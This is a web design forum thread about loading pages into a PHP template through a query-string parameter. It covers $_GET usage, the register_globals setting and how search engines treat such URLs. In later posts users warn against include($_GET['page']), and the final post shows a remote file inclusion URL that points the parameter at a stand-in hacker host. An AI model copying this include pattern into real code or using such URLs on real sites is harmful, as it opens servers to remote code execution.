Register

If this is your first visit, please click the Sign Up now button to begin the process of creating your account so you can begin posting on our forums! The Sign Up process will only take up about a minute of two of your time.

Results 1 to 10 of 10
  1. #1
    Member sopiaz57's Avatar
    Join Date
    Sep 2003
    Posts
    41
    Member #
    3058
    Hey guys, i am done with my site, just need to paste in the content. I have PHP and would like to use it for it. My question is this, if I have one template, which is my layout, how do I link the pages. The only way is to use parimeters right. So this example would work ?

    <a href ='index.html&page=about'>About</a>

    what do i do in my php script, just define a post variable (or get) and use it?

    Do search engines have a problem with this sort of design?

    Thanks in advance
    "It's very important not to embellish on your order. No extraneous comments. No questions. No compliments."
    - Jerry, in "The Soup Nazi"

  2.  

  3. #2
    JR
    JR is offline
    Senior Member JR's Avatar
    Join Date
    Nov 2002
    Location
    UK
    Posts
    4,354
    Member #
    257
    It would be index.php?page=about

    Then use $_Get['Page'] to get it.

    I'm not sure if there is a problem with search engines, I don't think so.
    JR

  4. #3
    Senior Member filburt1's Avatar
    Join Date
    Jul 2002
    Location
    Maryland, US
    Posts
    11,774
    Member #
    3
    Liked
    21 times
    Google usually doesn't care about dynamic URLs unless there is a sessionhash in it.
    filburt1, Web Design Forums.net founder
    Site of the Month contest: submit your site or vote for the winner!

  5. #4
    Member Seraph's Avatar
    Join Date
    Sep 2003
    Posts
    81
    Member #
    3090
    but remember the $_GET is case sensitive. so if you have
    index.php?page=about
    to get it it would be
    $_GET['page'] not $_GET['Page']

  6. #5
    Member
    Join Date
    Apr 2004
    Posts
    58
    Member #
    5497
    On my PHP version, you don't have to use the $_GET['argument'] function; it stores the data in a variable on-processing. For instance:

    mypage.php?page=welcome

    Using the query-string in there, on mine, I can just call for the page variable ($page).

    Code:
    print $page

    Result:
    welcome

    This works not only on my computer version of PHP, and on the server I use most (the site I do).

  7. #6
    Senior Member james's Avatar
    Join Date
    May 2003
    Location
    Melbourne, AUSTRALIA
    Posts
    364
    Member #
    1352
    Apparently Google doesn't follow URL's like if you have them written as:

    <a href ='index.html?page=about&secondvar=2'>About</a>

    instead of

    <a href ='index.html?page=about& amp ;secondvar=2'>About</a>
    James H
    Home Page · Mars Page · www.fihsf1.net (formerly www·fihs·net)

  8. #7
    Member macgruder's Avatar
    Join Date
    Apr 2004
    Location
    Japan
    Posts
    97
    Member #
    5524
    Originally posted by zacharytamas
    On my PHP version, you don't have to use the $_GET['argument'] function; it stores the data in a variable on-processing. For instance:

    mypage.php?page=welcome

    Using the query-string in there, on mine, I can just call for the page variable ($page).

    Code:
    print $page

    Result:
    welcome

    This works not only on my computer version of PHP, and on the server I use most (the site I do).

    But this way is not forward compatible, and you have to be extremely careful to with security issues if you have 'register_globals on'. If you move to a new server, and they have register_globals off, as is the norm nowadays, every post, get and cookie variable that you accessed in this way would have to be rewritten. Unless you do an inadvisable extract() at the beginning.

    Also, it makes code more difficult to read. If you see an $id, it can be difficult to tell if the $id in question is the id of say the owner of a page or the $id of a viewer of a page (this is just an example), whereas if you have $_GET['id'] you can tell immediately what kind of $id we are referring to.

    Plus $_GETs $_POSTs are superglobals which is useful.

  9. #8
    Member macgruder's Avatar
    Join Date
    Apr 2004
    Location
    Japan
    Posts
    97
    Member #
    5524
    Originally posted by sopiaz57
    So this example would work ?

    <a href ='index.html&page=about'>About</a>

    Make sure you are aware of the security implications of this, especially if you are doing

    PHP Code:
    include($_GET['page']); 

  10. #9
    Senior Member justlivyalife's Avatar
    Join Date
    Jul 2003
    Location
    Birmingham, UK
    Posts
    2,871
    Member #
    2374
    Make sure you are aware of the security implications of this
    What are the security implications? Are they great?
    justlivyalife - The future depends on what we do in the present. (Mahatma Gandhi)
    WDF Resources: WDF Rules
    Non-WDF: JavascriptSource | Dynamic Drive | phpBB | HTML-Kit | Winamp | Download Firefox | Morguefile

  11. #10
    Member macgruder's Avatar
    Join Date
    Apr 2004
    Location
    Japan
    Posts
    97
    Member #
    5524
    Very!

    http://www.insecure.com/index.php?page=http://hacker.com/bad_script.php


Remove Ads

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
All times are GMT -6. The time now is 03:51 AM.
Powered by vBulletin® Version 4.2.3
Copyright © 2019 vBulletin Solutions, Inc. All rights reserved.
vBulletin Skin By: PurevB.com